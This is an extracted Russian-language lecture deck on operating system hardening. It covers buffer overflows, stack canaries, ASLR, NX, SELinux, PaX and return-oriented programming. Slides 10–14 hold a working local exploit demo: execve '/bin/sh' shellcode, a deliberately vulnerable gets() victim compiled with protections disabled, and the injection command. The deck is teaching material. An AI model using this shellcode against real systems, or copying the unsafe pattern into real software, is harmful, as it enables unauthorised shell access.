operating systems hardening
TRANSCRIPT
![Page 1: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/1.jpg)
Opera&ng Systems Hardening
Sartakov A. Vasily ksys labs
Summer Systems School’13
![Page 2: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/2.jpg)
Structure
• Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов
• Противодействия противодействию: Return Oriented Programming
![Page 3: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/3.jpg)
Intro
• Morris Worm (November 1988) – Первый известный эксплоит использовавший срыв стека – execve(“/bin/sh”, 0, 0)
• Thomas Lopa&c опубликовал эксплоит NCSA HTTPD (1995)
• “Smashing the Stack for Fun and Profit” Aleph One (August 1996)
• Unix
![Page 4: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/4.jpg)
Structure
• Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов
• Противодействия противодействию: Return Oriented Programming
![Page 5: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/5.jpg)
Срыв стека
• Подготовка кода (payload) • Изменение последовательности выполнения программы
![Page 6: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/6.jpg)
Подготовка кода • Передается в качестве аргументов, команд, обрабатываемых данных • Эти данные должны сохраняться в выделенные для них буфера • Принципиальной разницы нет – статический это буфер или динамический • Отсутствие проверки длины данных приводит к перезаписи данных за границей буфера.
![Page 7: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/7.jpg)
Искажение адреса возврата
int namelen (void) { char name[21]; gets(name); return strlen(name);
} name[0]
name[1]
….
Адрес возврата
0xFFFF
0x0 массив Стек
![Page 8: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/8.jpg)
Искажение указателя функции
void dummy(void) { prin�("Hello world! n");
} int main(int argc, char **argv) {
void (*dummyptr)(); char buffer[100]; dummyptr=dummy; strcpy(buffer, argv[1]); // Уязвимость (*dummyptr)();
}
buffer[0]
buffer[1]
….
dummyptr
Адрес возврата 0xFFFF
0x0 массив Стек
![Page 9: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/9.jpg)
Искажение указателей данных
foo(char * arg) { char * p = arg; // уязвимый указатель char a[40]; // переполняемый буфер gets(a); // уязвимость gets(p); // искажение кода
} a[0]
a[1]
….
p
arg 0xFFFF
0x0 массив Стек
Адрес возврата
![Page 10: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/10.jpg)
Example 1 cat > launch.c << "EOF" int main(int argc, char **argv) { asm("\ needle0: jmp there\n\ here: pop %rdi\n\ xor %rax, %rax\n\ movb $0x3b, %al\n\ xor %rsi, %rsi\n\ xor %rdx, %rdx\n\ syscall\n\ there: call here\n\ .string \"/bin/sh\"\n\ needle1: .octa 0xdeadbeef\n\ "); } EOF gcc -‐o launch launch.c
h�p://crypto.stanford.edu/~blynn/rop/
![Page 11: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/11.jpg)
Shellcode addr=0x`objdump -‐d launch | grep needle0 | cut -‐d\ -‐f1` addr=$((addr-‐0x400000)) echo ...shellcode starts at offset $addr xxd -‐s$addr -‐l32 -‐p launch > shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
![Page 12: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/12.jpg)
vic&m cat > vic&m.c << "EOF" #include <stdio.h> int main() { char name[64]; prin�("%p\n", name); // Print address of buffer. puts("What's your name?"); gets(name); prin�("Hello, %s!\n", name); return 0; } EOF
![Page 13: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/13.jpg)
Compiling gcc -‐fno-‐stack-‐protector -‐o vic&m vic&m.c execstack -‐s vic&m // disabling executable space protec&on… addr=$(echo | setarch $(arch) -‐R ./vic&m | sed 1q) //finding buffer address… a=`prin� %016x $addr | tac -‐rs..` //exploi&ng vic&m...
![Page 14: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/14.jpg)
A�ack ( ( cat shellcode ; prin� %080d 0 ; echo $a ) | xxd -‐r -‐p ; cat ) | setarch `arch` -‐R ./vic&m
![Page 15: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/15.jpg)
Structure
• Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов
• Противодействия противодействию: Return Oriented Programming
![Page 16: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/16.jpg)
Средства противодействия атакам основанным на переполнении буферов
• Маркерные значения (Canaries) • Рандомизация адресного пространства (ASLR)
• NX бит • Подсистемы безопасности Linux
![Page 17: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/17.jpg)
Маркерные значения
a[0]
a[1]
….
EBP
Canary 0xFFFF
0x0 массив Стек
Адрес возврата
![Page 18: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/18.jpg)
Address Space Layout Randomiza&on
Name[0]
0x7f..ff Первый запуск
char name[64]; prin�("%p\n", name); puts("What's your name?"); gets(name); prin�("Hello, %s!\n", name);
7cb7ba740
Name[0]
Второй запуск
ef5415a90
![Page 19: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/19.jpg)
Эмуляция NX bit
Код
Данные
Стек
Код
Испол
няем
ый
неиспо
лняемый
Лимит сегмента
![Page 20: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/20.jpg)
NX/XD bit: Data Execu&on Preven&on(DEP)
• Physical Address Extension (PAE) • Может защищать не только весь процесс целиком, но и его отдельную часть.
![Page 21: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/21.jpg)
Подсистемы безопасности Linux
• SELinux • PaX/GrSecurity
![Page 22: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/22.jpg)
SELinux • Разрабатывался под контролем Na&onal Security Agency (NSA)
• Исходный код был опубликован в декабря 2000
• Мандатный контроль доступа на основе контроля меток безопасности объектов и субъектов ОС
• Принудительная типизация доступа (Type Enforcement)
![Page 23: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/23.jpg)
Проект LOCK • LOCK (LOgical Coprocessing Kernel) • Secure Compu&ng Corpora&on (SCC) • «A1»,Trusted Compu&ng System Evalua&on Criteria
(“Orange Book”). • Принудительная типизация доступа • Наследие -‐ Sidewinder Internet Firewall и SELinux • Изначально было дополнением 2.2, 2.4 • «Благодаря» Торвальдсу добавлено в ядро в качестве
отдельного модуля. Так появился Linux Security Modules в ядре 2.6
![Page 24: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/24.jpg)
Принудительная типизация доступа
• Type Enforcement • Технология разграничения доступа, при которой права на доступ субъекта к объекту даются в зависимости от текущего контекста безопасности.
• Контекст безопасности хранится в расширенных атрибутах файловой системы и управляется с помощью Linux security module (LSM)
• Принудительная типизация доступа необходима для реализации мандатного контроля доступа, дополняет ролевой контроль доступа (Role Based Access Control — RBAC).
![Page 25: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/25.jpg)
SELinux
• Каждый объект или субъект в операционной системе, защищенной SELinux, должен иметь свою специальную метку, называемую контекстом безопасности.
• Ext2-‐>file-‐>ext3 • SELinux предоставляет пользователю или приложению только те права доступа, которые необходимы для осуществления запрошенных действий
![Page 26: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/26.jpg)
SELinux
• Каждый процесс-‐субъект запускается в определенном контексте (домене) безопасности
• Всем ресурсам-‐объектам операционной системы ставится в соответствие определенный тип
• Высокая степень разграничения доступа к ресурсам • Составляет политику безопасности: Список правил, определяющих разрешения на доступ определенных доменов к определенным типам.
![Page 27: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/27.jpg)
SELinux
![Page 28: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/28.jpg)
PaX/GRSecurity
• Механизм обеспечения безопасного исполнения кода PaX • Механизм разграничения доступа на основе ролевой политики (RBAC) • Усиление базового механизма chroot • Дополнительные функции и механизмы безопасности
![Page 29: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/29.jpg)
Structure
• Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов
• Противодействия противодействию: Return Oriented Programming
![Page 30: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/30.jpg)
Вопрос
Подвержена ли Гарвардская архитектура атакам основанным на срыве стека?
![Page 31: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/31.jpg)
Ответ
Атаки построенные на срыве стека – нет, не подвержена. Но подвержена куда более серьезным атакам из того же семейства.
![Page 32: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/32.jpg)
Return oriented programming
• Return-‐to-‐libc (ret2libc) – Позволяет атаковать неисполнимую память (DEP, W^X, etc)
– Вместо перезаписи адреса возврата, осуществляется выбор специально подобранных двоичных команд из библиотек в памяти, как вызовов функций.
– При этом данные в стеке используются как аргументы к этим функциям
– Что в конечном итоге позволяет сделать system(cmd)
![Page 33: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/33.jpg)
Return oriented programming • Вместо возврата из функций с измененным
стеком происходит вызов последовательностей инструкций, которые заканчиваются инструкцией ret.
• Фактически можно обращаться к произвольному региону, прямо в середину инструкции, тем самым эмулируя другой тип инструкций.
• Фактически, все что нужно для взлома – найти необходимую последовательность инструкций в памяти
![Page 34: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/34.jpg)
Return oriented programming
• Gadget – последовательность подходящих инструкций заканчивающаяся ret
• Гаджеты исполняют произвольный высокоуровневый функционал
– Записать данные в определенную ячейку памяти – add/sub/and/or/xor – Вызвать функцию из библиотеки
![Page 35: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/35.jpg)
Return oriented programming
• Для построения RoP атаки необходимо просканировать исполнимые регионы библиотек для выявления подходящих инструкций
• Полнота по Тьюрингу при поиске гаджетов: Homescu, Andrei, et al. "Microgadgets: Size Does Ma�er in Turing-‐Complete Return-‐Oriented Programming." WOOT. 2012.
![Page 36: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/36.jpg)
Example 2
Return-‐oriented programming on 64-‐bit Linux Ben Lynn h�p://crypto.stanford.edu/~blynn/rop/
![Page 37: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/37.jpg)
Выводы:
1. Маркерные значения + рандомизация + NX бит не защищают на 100%, но сильно усложняют вторжение.
2. Превентивные средства защиты (PaX), задача которых противодействовать вторжению, вместе с AC (RBAC), так же уменьшают шансы вторжения и минимизируют последствия
3. Защита от внедрения вредоносного кода не достаточна для предотвращения исполнения вредоносного кода.
![Page 38: Operating Systems Hardening](https://reader034.vdocuments.site/reader034/viewer/2022052621/557ec16dd8b42a48588b5218/html5/thumbnails/38.jpg)
Reading • h�p://crypto.stanford.edu/~blynn/rop/ • Roemer, Ryan, et al. "Return-‐oriented programming:
Systems, languages, and applica&ons." ACM Transac&ons on Informa&on and System Security (TISSEC) 15.1 (2012): 2.
• Checkoway, Stephen, et al. "Can DREs provide long-‐las&ng security? The case of return-‐oriented programming and the AVC Advantage." Proceedings of EVT/WOTE 2009 (2009).
• Shacham, Hovav. "The geometry of innocent flesh on the bone: Return-‐into-‐libc without func&on calls (on the x86)." Proceedings of the 14th ACM conference on Computer and communicaCons security. ACM, 2007.